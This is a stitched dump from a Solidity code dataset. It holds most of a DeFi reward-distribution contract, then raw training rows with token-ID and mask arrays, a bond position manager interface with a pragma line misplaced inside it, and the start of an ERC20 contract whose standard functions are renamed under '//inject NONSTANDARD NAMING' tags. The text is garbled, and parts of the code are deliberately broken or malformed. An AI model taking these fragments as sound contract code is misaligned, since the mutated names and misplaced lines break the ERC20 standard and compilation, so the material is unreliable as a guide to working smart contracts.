OwnerUpdate(address indexed owner, address indexed newOwner); /// @notice Emitted when a market is added event MarketAdded( address indexed market, uint256 numberOfMarkets, bool isVerified ); /// @notice Emitted when a market is removed event MarketRemoved( address indexed market, uint256 numberOfMarkets, bool isVerified ); /** * Constants */ /** * Constructor */ /** * @notice `RewardControl` is the contract to calculate and distribute reward tokens * @notice This contract uses Openzeppelin Upgrades plugin to make use of the upgradeability functionality using proxies * @notice Hence this contract has an 'initializer' in place of a 'constructor' * @notice Make sure to add new global variables only in a derived contract of RewardControlStorage, inherited by this contract * @notice Also make sure to do extensive testing while modifying any structs and enums during an upgrade */ function initializer( address _owner, address _alkemiEarnVerified, address _alkemiEarnPublic, address _alkAddress ) public { require( _owner != address(0) && _alkemiEarnVerified != address(0) && _alkemiEarnPublic != address(0) && _alkAddress != address(0), "Inputs cannot be 0x00" ); if (initializationDone == false) { initializationDone = true; owner = _owner; alkemiEarnVerified = AlkemiEarnVerified(_alkemiEarnVerified); alkemiEarnPublic = AlkemiEarnPublic(_alkemiEarnPublic); alkAddress = _alkAddress; // Total Liquidity rewards for 4 years = 70,000,000 // Liquidity per year = 70,000,000/4 = 17,500,000 // Divided by blocksPerYear (assuming 13.3 seconds avg. block time) = 17,500,000/2,371,128 = 7.380453522542860000 // 7380453522542860000 (Tokens scaled by token decimals of 18) divided by 2 (half for lending and half for borrowing) alkRate = 3690226761271430000; MAXIMUM_NUMBER_OF_MARKETS = 16; } } /** * Modifiers */ /** * @notice Make sure that the sender is only the owner of the contract */ modifier onlyOwner() { require(msg.sender == owner, "non-owner"); _; } /** * Public functions */ /** * @notice Refresh ALK supply index for the specified market and supplier * @param market The market whose supply index to update * @param supplier The address of the supplier to distribute ALK to * @param isVerified Specifies if the market is from verified or public protocol */ function refreshAlkSupplyIndex( address market, address supplier, bool isVerified ) external { if (!allMarketsIndex[isVerified][market]) { return; } refreshAlkSpeeds(); updateAlkSupplyIndex(market, isVerified); distributeSupplierAlk(market, supplier, isVerified); } /** * @notice Refresh ALK borrow index for the specified market and borrower * @param market The market whose borrow index to update * @param borrower The address of the borrower to distribute ALK to * @param isVerified Specifies if the market is from verified or public protocol */ function refreshAlkBorrowIndex( address market, address borrower, bool isVerified ) external { if (!allMarketsIndex[isVerified][market]) { return; } refreshAlkSpeeds(); updateAlkBorrowIndex(market, isVerified); distributeBorrowerAlk(market, borrower, isVerified); } /** * @notice Claim all the ALK accrued by holder in all markets * @param holder The address to claim ALK for */ function claimAlk(address holder) external { claimAlk(holder, allMarkets[true], true); claimAlk(holder, allMarkets[false], false); } /** * @notice Claim all the ALK accrued by holder by refreshing the indexes on the specified market only * @param holder The address to claim ALK for * @param market The address of the market to refresh the indexes for * @param isVerified Specifies if the market is from verified or public protocol */ function claimAlk( address holder, address market, bool isVerified ) external { require(allMarketsIndex[isVerified][market], "Market does not exist"); address[] memory markets = new address[](1); markets[0] = market; claimAlk(holder, markets, isVerified); } /** * Private functions */ /** * @notice Recalculate and update ALK speeds for all markets */ function refreshMarketLiquidity() internal view returns (Exp[] memory, Exp memory) { Exp memory totalLiquidity = Exp({mantissa: 0}); Exp[] memory marketTotalLiquidity = new Exp[]( add_(allMarkets[true].length, allMarkets[false].length) ); address currentMarket; uint256 verifiedMarketsLength = allMarkets[true].length; for (uint256 i = 0; i < allMarkets[true].length; i++) { currentMarket = allMarkets[true][i]; uint256 currentMarketTotalSupply = mul_( getMarketTotalSupply(currentMarket, true), alkemiEarnVerified.assetPrices(currentMarket) ); uint256 currentMarketTotalBorrows = mul_( getMarketTotalBorrows(currentMarket, true), alkemiEarnVerified.assetPrices(currentMarket) ); Exp memory currentMarketTotalLiquidity = Exp({ mantissa: add_( currentMarketTotalSupply, currentMarketTotalBorrows ) }); marketTotalLiquidity[i] = currentMarketTotalLiquidity; totalLiquidity = add_(totalLiquidity, currentMarketTotalLiquidity); } for (uint256 j = 0; j < allMarkets[false].length; j++) { currentMarket = allMarkets[false][j]; currentMarketTotalSupply = mul_( getMarketTotalSupply(currentMarket, false), alkemiEarnVerified.assetPrices(currentMarket) ); currentMarketTotalBorrows = mul_( getMarketTotalBorrows(currentMarket, false), alkemiEarnVerified.assetPrices(currentMarket) ); currentMarketTotalLiquidity = Exp({ mantissa: add_( currentMarketTotalSupply, currentMarketTotalBorrows ) }); marketTotalLiquidity[ verifiedMarketsLength + j ] = currentMarketTotalLiquidity; totalLiquidity = add_(totalLiquidity, currentMarketTotalLiquidity); } return (marketTotalLiquidity, totalLiquidity); } /** * @notice Recalculate and update ALK speeds for all markets */ function refreshAlkSpeeds() public { address currentMarket; ( Exp[] memory marketTotalLiquidity, Exp memory totalLiquidity ) = refreshMarketLiquidity(); uint256 newSpeed; uint256 verifiedMarketsLength = allMarkets[true].length; for (uint256 i = 0; i < allMarkets[true].length; i++) { currentMarket = allMarkets[true][i]; newSpeed = totalLiquidity.mantissa > 0 ? mul_(alkRate, div_(marketTotalLiquidity[i], totalLiquidity)) : 0; alkSpeeds[true][currentMarket] = newSpeed; emit AlkSpeedUpdated(currentMarket, newSpeed, true); } for (uint256 j = 0; j < allMarkets[false].length; j++) { currentMarket = allMarkets[false][j]; newSpeed = totalLiquidity.mantissa > 0 ? mul_( alkRate, div_( marketTotalLiquidity[verifiedMarketsLength + j], totalLiquidity ) ) : 0; alkSpeeds[false][currentMarket] = newSpeed; emit AlkSpeedUpdated(currentMarket, newSpeed, false); } } /** * @notice Accrue ALK to the market by updating the supply index * @param market The market whose supply index to update * @param isVerified Verified / Public protocol */ function updateAlkSupplyIndex(address market, bool isVerified) public { MarketState storage supplyState = alkSupplyState[isVerified][market]; uint256 marketSpeed = alkSpeeds[isVerified][market]; uint256 blockNumber = getBlockNumber(); uint256 deltaBlocks = sub_(blockNumber, uint256(supplyState.block)); if (deltaBlocks > 0 && marketSpeed > 0) { uint256 marketTotalSupply = getMarketTotalSupply( market, isVerified ); uint256 supplyAlkAccrued = mul_(deltaBlocks, marketSpeed); Double memory ratio = marketTotalSupply > 0 ? fraction(supplyAlkAccrued, marketTotalSupply) : Double({mantissa: 0}); Double memory index = add_( Double({mantissa: supplyState.index}), ratio ); alkSupplyState[isVerified][market] = MarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { supplyState.block = safe32( blockNumber, "block number exceeds 32 bits" ); } } /** * @notice Accrue ALK to the market by updating the borrow index * @param market The market whose borrow index to update * @param isVerified Verified / Public protocol */ function updateAlkBorrowIndex(address market, bool isVerified) public { MarketState storage borrowState = alkBorrowState[isVerified][market]; uint256 marketSpeed = alkSpeeds[isVerified][market]; uint256 blockNumber = getBlockNumber(); uint256 deltaBlocks = sub_(blockNumber, uint256(borrowState.block)); if (deltaBlocks > 0 && marketSpeed > 0) { uint256 marketTotalBorrows = getMarketTotalBorrows( market, isVerified ); uint256 borrowAlkAccrued = mul_(deltaBlocks, marketSpeed); Double memory ratio = marketTotalBorrows > 0 ? fraction(borrowAlkAccrued, marketTotalBorrows) : Double({mantissa: 0}); Double memory index = add_( Double({mantissa: borrowState.index}), ratio ); alkBorrowState[isVerified][market] = MarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { borrowState.block = safe32( blockNumber, "block number exceeds 32 bits" ); } } /** * @notice Calculate ALK accrued by a supplier and add it on top of alkAccrued[supplier] * @param market The market in which the supplier is interacting * @param supplier The address of the supplier to distribute ALK to * @param isVerified Verified / Public protocol */ function distributeSupplierAlk( address market, address supplier, bool isVerified ) public { MarketState storage supplyState = alkSupplyState[isVerified][market]; Double memory supplyIndex = Double({mantissa: supplyState.index}); Double memory supplierIndex = Double({ mantissa: alkSupplierIndex[isVerified][market][supplier] }); alkSupplierIndex[isVerified][market][supplier] = supplyIndex.mantissa; if (supplierIndex.mantissa > 0) { Double memory deltaIndex = sub_(supplyIndex, supplierIndex); uint256 supplierBalance = getSupplyBalance( market, supplier, isVerified ); uint256 supplierDelta = mul_(supplierBalance, deltaIndex); alkAccrued[supplier] = add_(alkAccrued[supplier], supplierDelta); emit DistributedSupplierAlk( market, supplier, supplierDelta, alkAccrued[supplier], supplyIndex.mantissa, isVerified ); } } /** * @notice Calculate ALK accrued by a borrower and add it on top of alkAccrued[borrower] * @param market The market in which the borrower is interacting * @param borrower The address of the borrower to distribute ALK to * @param isVerified Verified / Public protocol */ function distributeBorrowerAlk( address market, address borrower, bool isVerified ) public { MarketState storage borrowState = alkBorrowState[isVerified][market]; Double memory borrowIndex = Double({mantissa: borrowState.index}); Double memory borrowerIndex = Double({ mantissa: alkBorrowerIndex[isVerified][market][borrower] }); alkBorrowerIndex[isVerified][market][borrower] = borrowIndex.mantissa; if (borrowerIndex.mantissa > 0) { Double memory deltaIndex = sub_(borrowIndex, borrowerIndex); uint256 borrowerBalance = getBorrowBalance( market, borrower, isVerified ); uint256 borrowerDelta = mul_(borrowerBalance, deltaIndex); alkAccrued[borrower] = add_(alkAccrued[borrower], borrowerDelta); emit DistributedBorrowerAlk( market, borrower, borrowerDelta, alkAccrued[borrower], borrowIndex.mantissa, isVerified ); } } /** * @notice Claim all the ALK accrued by holder in the specified markets * @param holder The address to claim ALK for * @param markets The list of markets to claim ALK in * @param isVerified Verified / Public protocol */ function claimAlk( address holder, address[] memory markets, bool isVerified ) internal { for (uint256 i = 0; i < markets.length; i++) { address market = markets[i]; updateAlkSupplyIndex(market, isVerified); distributeSupplierAlk(market, holder, isVerified); updateAlkBorrowIndex(market, isVerified); distributeBorrowerAlk(market, holder, isVerified); alkAccrued[holder] = transferAlk( holder, alkAccrued[holder], market, isVerified ); } } /** * @notice Transfer ALK to the participant * @dev Note: If there is not enough ALK, we do not perform the transfer all. * @param participant The address of the participant to transfer ALK to * @param participantAccrued The amount of ALK to (possibly) transfer * @param market Market for which ALK is transferred * @param isVerified Verified / Public Protocol * @return The amount of ALK which was NOT transferred to the participant */ function transferAlk( address participant, uint256 participantAccrued, address market, bool isVerified ) internal returns (uint256) { if (participantAccrued > 0) { EIP20Interface alk = EIP20Interface(getAlkAddress()); uint256 alkRemaining = alk.balanceOf(address(this)); if (participantAccrued <= alkRemaining) { alk.transfer(participant, participantAccrued); emit TransferredAlk( participant, participantAccrued, market, isVerified ); return 0; } } return participantAccrued; } /** * Getters */ /** * @notice Get the current block number * @return The current block number */ function getBlockNumber() public view returns (uint256) { return block.number; } /** * @notice Get the current accrued ALK for a participant * @param participant The address of the participant * @return The amount of accrued ALK for the participant */ function getAlkAccrued(address participant) public view returns (uint256) { return alkAccrued[participant]; } /** * @notice Get the address of the ALK token * @return The address of ALK token */ function getAlkAddress() public view returns (address) { return alkAddress; } /** * @notice Get the address of the underlying AlkemiEarnVerified and AlkemiEarnPublic contract * @return The address of the underlying AlkemiEarnVerified and AlkemiEarnPublic contract */ function getAlkemiEarnAddress() public view returns (address, address) { return (address(alkemiEarnVerified), address(alkemiEarnPublic)); } /** * @notice Get market statistics from the AlkemiEarnVerified contract * @param market The address of the market * @param isVerified Verified / Public protocol * @return Market statistics for the given market */ function getMarketStats(address market, bool isVerified) public view returns ( bool isSupported, uint256 blockNumber, address interestRateModel, uint256 totalSupply, uint256 supplyRateMantissa, uint256 supplyIndex, uint256 totalBorrows, uint256 borrowRateMantissa, uint256 borrowIndex ) { if (isVerified) { return (alkemiEarnVerified.markets(market)); } else { return (alkemiEarnPublic.markets(market)); } } /** * @notice Get market total supply from the AlkemiEarnVerified / AlkemiEarnPublic contract * @param market The address of the market * @param isVerified Verified / Public protocol * @return Market total supply for the given market */ function getMarketTotalSupply(address market, bool isVerified) public view returns (uint256) { uint256 totalSupply; (, , , totalSupply, , , , , ) = getMarketStats(market, isVerified); return totalSupply; } /** * @notice Get market total borrows from the AlkemiEarnVerified contract * @param market The address of the market * @param isVerified Verified / Public protocol * @return Market total borrows for the given market */ function getMarketTotalBorrows(address market, bool isVerified) public view returns (uint256) { uint256 totalBorrows; (, , , , , , totalBorrows, , ) = getMarketStats(market, isVerified); return totalBorrows; } /** * @notice Get supply balance of the specified market and supplier * @param market The address of the market * @param supplier The address of the supplier * @param isVerified Verified / Public protocol * @return Supply balance of the specified market and supplier */ function getSupplyBalance( address market, address supplier, bool isVerified ) public view returns (uint256) { if (isVerified) { return alkemiEarnVerified.getSupplyBalance(supplier, market); } else { return alkemiEarnPublic.getSupplyBalance(supplier, market); } } /** * @notice Get borrow balance of the specified market and borrower * @param market The address of the market * @param borrower The address of the borrower * @param isVerified Verified / Public protocol * @return Borrow balance of the specified market and borrower */ function getBorrowBalance( address market, address borrower, bool isVerified ) public view returns (uint256) { if (isVerified) { return alkemiEarnVerified.getBorrowBalance(borrower, market); } else { return alkemiEarnPublic.getBorrowBalance(borrower, market); } } /** * Admin functions */ /** * @notice Transfer the ownership of this contract to the new owner. The ownership will not be transferred until the new owner accept it. * @param _newOwner The address of the new owner */ function transferOwnership(address _newOwner) external onlyOwner { require(_newOwner != owner, "TransferOwnership: the same owner."); newOwner = _newOwner; } /** * @notice Accept the ownership of this contract by the new owner */ function acceptOwnership() external { require( msg.sender == newOwner, "AcceptOwnership: only new owner do this." ); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = address(0); } /** * @notice Add new market to the reward program * @param market The address of the new market to be added to the reward program * @param isVerified Verified / Public protocol */ function addMarket(address market, bool isVerified) external onlyOwner { require(!allMarketsIndex[isVerified][market], "Market already exists"); require( allMarkets[isVerified].length < uint256(MAXIMUM_NUMBER_OF_MARKETS), "Exceeding the max number of markets allowed" ); allMarketsIndex[isVerified][market] = true; allMarkets[isVerified].push(market); emit MarketAdded( market, add_(allMarkets[isVerified].length, allMarkets[!isVerified].length), isVerified ); } /** * @notice Remove a market from the reward program based on array index * @param id The index of the `allMarkets` array to be removed * @param isVerified Verified / Public protocol */ function removeMarket(uint256 id, bool isVerified) external onlyOwner { if (id >= allMarkets[isVerified].length) { return; } allMarketsIndex[isVerified][allMarkets[isVerified][id]] = false; address removedMarket = allMarkets[isVerified][id]; for (uint256 i = id; i < allMarkets[isVerified].length - 1; i++) { allMarkets[isVerified][i] = allMarkets[isVerified][i + 1]; } allMarkets[isVerified].length--; // reset the ALK speeds for the removed market and refresh ALK speeds alkSpeeds[isVerified][removedMarket] = 0; refreshAlkSpeeds(); emit MarketRemoved( removedMarket, add_(allMarkets[isVerified].length, allMarkets[!isVerified].length), isVerified ); } /** * @notice Set ALK token address * @param _alkAddress The ALK token address */ function setAlkAddress(address _alkAddress) external onlyOwner { require(alkAddress != _alkAddress, "The same ALK address"); require(_alkAddress != address(0), "ALK address cannot be empty"); alkAddress = _alkAddress; } /** * @notice Set AlkemiEarnVerified contract address * @param _alkemiEarnVerified The AlkemiEarnVerified contract address */ function setAlkemiEarnVerifiedAddress(address _alkemiEarnVerified) external onlyOwner { require( address(alkemiEarnVerified) != _alkemiEarnVerified, "The same AlkemiEarnVerified address" ); require( _alkemiEarnVerified != address(0), "AlkemiEarnVerified address cannot be empty" ); alkemiEarnVerified = AlkemiEarnVerified(_alkemiEarnVerified); } /** * @notice Set AlkemiEarnPublic contract address * @param _alkemiEarnPublic The AlkemiEarnVerified contract address */ function setAlkemiEarnPublicAddress(address _alkemiEarnPublic) external onlyOwner { require( address(alkemiEarnPublic) != _alkemiEarnPublic, "The same AlkemiEarnPublic address" ); require( _alkemiEarnPublic != address(0), "AlkemiEarnPublic address cannot be empty" ); alkemiEarnPublic = AlkemiEarnPublic(_alkemiEarnPublic); } /** * @notice Set ALK rate * @param _alkRate The ALK rate */ function setAlkRate(uint256 _alkRate) external onlyOwner { alkRate = _alkRate; } /** * @notice Get latest ALK rewards * @param user the supplier/borrower */ function getAlkRewards(address user) external view returns (uint256) { // Refresh ALK speeds uint256 alkRewards = alkAccrued[user]; ( Exp[] memory marketTotalLiquidity, Exp memory totalLiquidity ) = refreshMarketLiquidity(); uint256 verifiedMarketsLength = allMarkets[true].length; for (uint256 i = 0; i < allMarkets[true].length; i++) { alkRewards = add_( alkRewards, add_( getSupplyAlkRewards( totalLiquidity, marketTotalLiquidity, user, i, i, true ), getBorrowAlkRewards( totalLiquidity, marketTotalLiquidity, user, i, i, true ) ) ); } for (uint256 j = 0; j < allMarkets[false].length; j++) { uint256 index = verifiedMarketsLength + j; alkRewards = add_( alkRewards, add_( getSupplyAlkRewards( totalLiquidity, marketTotalLiquidity, user, index, j, false ), getBorrowAlkRewards( totalLiquidity, marketTotalLiquidity, user, index, j, false ) ) ); } return alkRewards; } /** * @notice Get latest Supply ALK rewards * @param totalLiquidity Total Liquidity of all markets * @param marketTotalLiquidity Array of individual market liquidity * @param user the supplier * @param i index of the market in marketTotalLiquidity array * @param j index of the market in the verified/public allMarkets array * @param isVerified Verified / Public protocol */ function getSupplyAlkRewards( Exp memory totalLiquidity, Exp[] memory marketTotalLiquidity, address user, uint256 i, uint256 j, bool isVerified ) internal view returns (uint256) { uint256 newSpeed = totalLiquidity.mantissa > 0 ? mul_(alkRate, div_(marketTotalLiquidity[i], totalLiquidity)) : 0; MarketState memory supplyState = alkSupplyState[isVerified][ allMarkets[isVerified][j] ]; if ( sub_(getBlockNumber(), uint256(supplyState.block)) > 0 && newSpeed > 0 ) { Double memory index = add_( Double({mantissa: supplyState.index}), ( getMarketTotalSupply( allMarkets[isVerified][j], isVerified ) > 0 ? fraction( mul_( sub_( getBlockNumber(), uint256(supplyState.block) ), newSpeed ), getMarketTotalSupply( allMarkets[isVerified][j], isVerified ) ) : Double({mantissa: 0}) ) ); supplyState = MarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } else if (sub_(getBlockNumber(), uint256(supplyState.block)) > 0) { supplyState.block = safe32( getBlockNumber(), "block number exceeds 32 bits" ); } if ( isVerified && Double({ mantissa: alkSupplierIndex[isVerified][ allMarkets[isVerified][j] ][user] }).mantissa > 0 ) { return mul_( alkemiEarnVerified.getSupplyBalance( user, allMarkets[isVerified][j] ), sub_( Double({mantissa: supplyState.index}), Double({ mantissa: alkSupplierIndex[isVerified][ allMarkets[isVerified][j] ][user] }) ) ); } if ( !isVerified && Double({ mantissa: alkSupplierIndex[isVerified][ allMarkets[isVerified][j] ][user] }).mantissa > 0 ) { return mul_( alkemiEarnPublic.getSupplyBalance( user, allMarkets[isVerified][j] ), sub_( Double({mantissa: supplyState.index}), Double({ mantissa: alkSupplierIndex[isVerified][ allMarkets[isVerified][j] ][user] }) ) ); } else { return 0; } } /** * @notice Get latest Borrow ALK rewards * @param totalLiquidity Total Liquidity of all markets * @param marketTotalLiquidity Array of individual market liquidity * @param user the borrower * @param i index of the market in marketTotalLiquidity array * @param j index of the market in the verified/public allMarkets array * @param isVerified Verified / Public protocol */ function getBorrowAlkRewards( Exp memory totalLiquidity, Exp[] memory marketTotalLiquidity, address user, uint256 i, uint256 j, bool isVerified ) internal view returns (uint256) { uint256 newSpeed = totalLiquidity.mantissa > 0 ? mul_(alkRate, div_(marketTotalLiquidity[i], totalLiquidity)) : 0; MarketState memory borrowState = alkBorrowState[isVerified][ allMarkets[isVerified][j] ]; if ( sub_(getBlockNumber(), uint256(borrowState.block)) > 0 && newSpeed > 0 ) { Double memory index = add_( Double({mantissa: borrowState.index}), ( getMarketTotalBorrows( allMarkets[isVerified][j], isVerified ) > 0 ? fraction( mul_( sub_( getBlockNumber(), uint256(borrowState.block) ), newSpeed ), getMarketTotalBorrows( allMarkets[isVerified][j], isVerified ) ) : Double({mantissa: 0}) ) ); borrowState = MarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } else if (sub_(getBlockNumber(), uint256(borrowState.block)) > 0) { borrowState.block = safe32( getBlockNumber(), "block number exceeds 32 bits" ); } if ( Double({ mantissa: alkBorrowerIndex[isVerified][ allMarkets[isVerified][j] ][user] }).mantissa > 0 && isVerified ) { return mul_( alkemiEarnVerified.getBorrowBalance( user, allMarkets[isVerified][j] ), sub_( Double({mantissa: borrowState.index}), Double({ mantissa: alkBorrowerIndex[isVerified][ allMarkets[isVerified][j] ][user] }) ) ); } if ( Double({ mantissa: alkBorrowerIndex[isVerified][ allMarkets[isVerified][j] ][user] }).mantissa > 0 && !isVerified ) { return mul_( alkemiEarnPublic.getBorrowBalance( user, allMarkets[isVerified][j] ), sub_( Double({mantissa: borrowState.index}), Double({ mantissa: alkBorrowerIndex[isVerified][ allMarkets[isVerified][j] ][user] }) ) ); } else { return 0; } } }
* @dev liquidationDiscount for collateral when liquidating borrows/
Exp public liquidationDiscount;
80,881
[ 1, 549, 26595, 367, 9866, 364, 4508, 2045, 287, 1347, 4501, 26595, 1776, 324, 280, 3870, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 7784, 1071, 4501, 26595, 367, 9866, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x08C986972dD7d08c235B3F86520Eb6718d7371aF/sources/contracts/interfaces/IBondPositionManager.sol
Deposit Principle token in Treasury through Bond contract
interface IBondPositionManager { function mint(address account) external; function burn(uint256 tokenId) external; function nextId() external view returns (uint256); function ownerOf(uint256 tokenId) external view returns (address); function bondPerTokenId(uint256 tokenId) external view returns (address); function unlockingTimestampPerToken(uint256 tokenId) external view returns (uint256); function logoInfo(uint256 tokenId) external view returns (IBondLogo.LogoInfos memory); pragma solidity ^0.8.0; }
17,027,501
[ 1, 758, 1724, 2301, 9523, 2444, 1147, 316, 399, 266, 345, 22498, 3059, 605, 1434, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 16178, 2555, 1318, 288, 203, 565, 445, 312, 474, 12, 2867, 2236, 13, 3903, 31, 203, 203, 565, 445, 18305, 12, 11890, 5034, 1147, 548, 13, 3903, 31, 203, 203, 565, 445, 1024, 548, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 3410, 951, 12, 11890, 5034, 1147, 548, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 203, 565, 445, 8427, 2173, 1345, 548, 12, 11890, 5034, 1147, 548, 13, 3903, 1476, 1135, 261, 2867, 1769, 203, 203, 565, 445, 7186, 310, 4921, 2173, 1345, 12, 11890, 5034, 1147, 548, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 19128, 966, 12, 11890, 5034, 1147, 548, 13, 3903, 1476, 1135, 261, 45, 9807, 26604, 18, 26604, 7655, 3778, 1769, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.16; interface IERC20 { function TOTALSUPPLY39() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF342(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER892(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE335(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE49(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM790(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER356(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL503(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _MSGSENDER272() internal view returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA393() internal view returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function TOTALSUPPLY39() public view returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BALANCEOF342(address account) public view returns (uint256) { //inject NONSTANDARD NAMING return _balances[account]; } function TRANSFER892(address recipient, uint256 amount) public returns (bool) { //inject NONSTANDARD NAMING _TRANSFER337(_MSGSENDER272(), recipient, amount); return true; } function ALLOWANCE335(address owner, address spender) public view returns (uint256) { //inject NONSTANDARD NAMING return _allowances[owner][spender]; } function APPROVE49(address spender, uint256 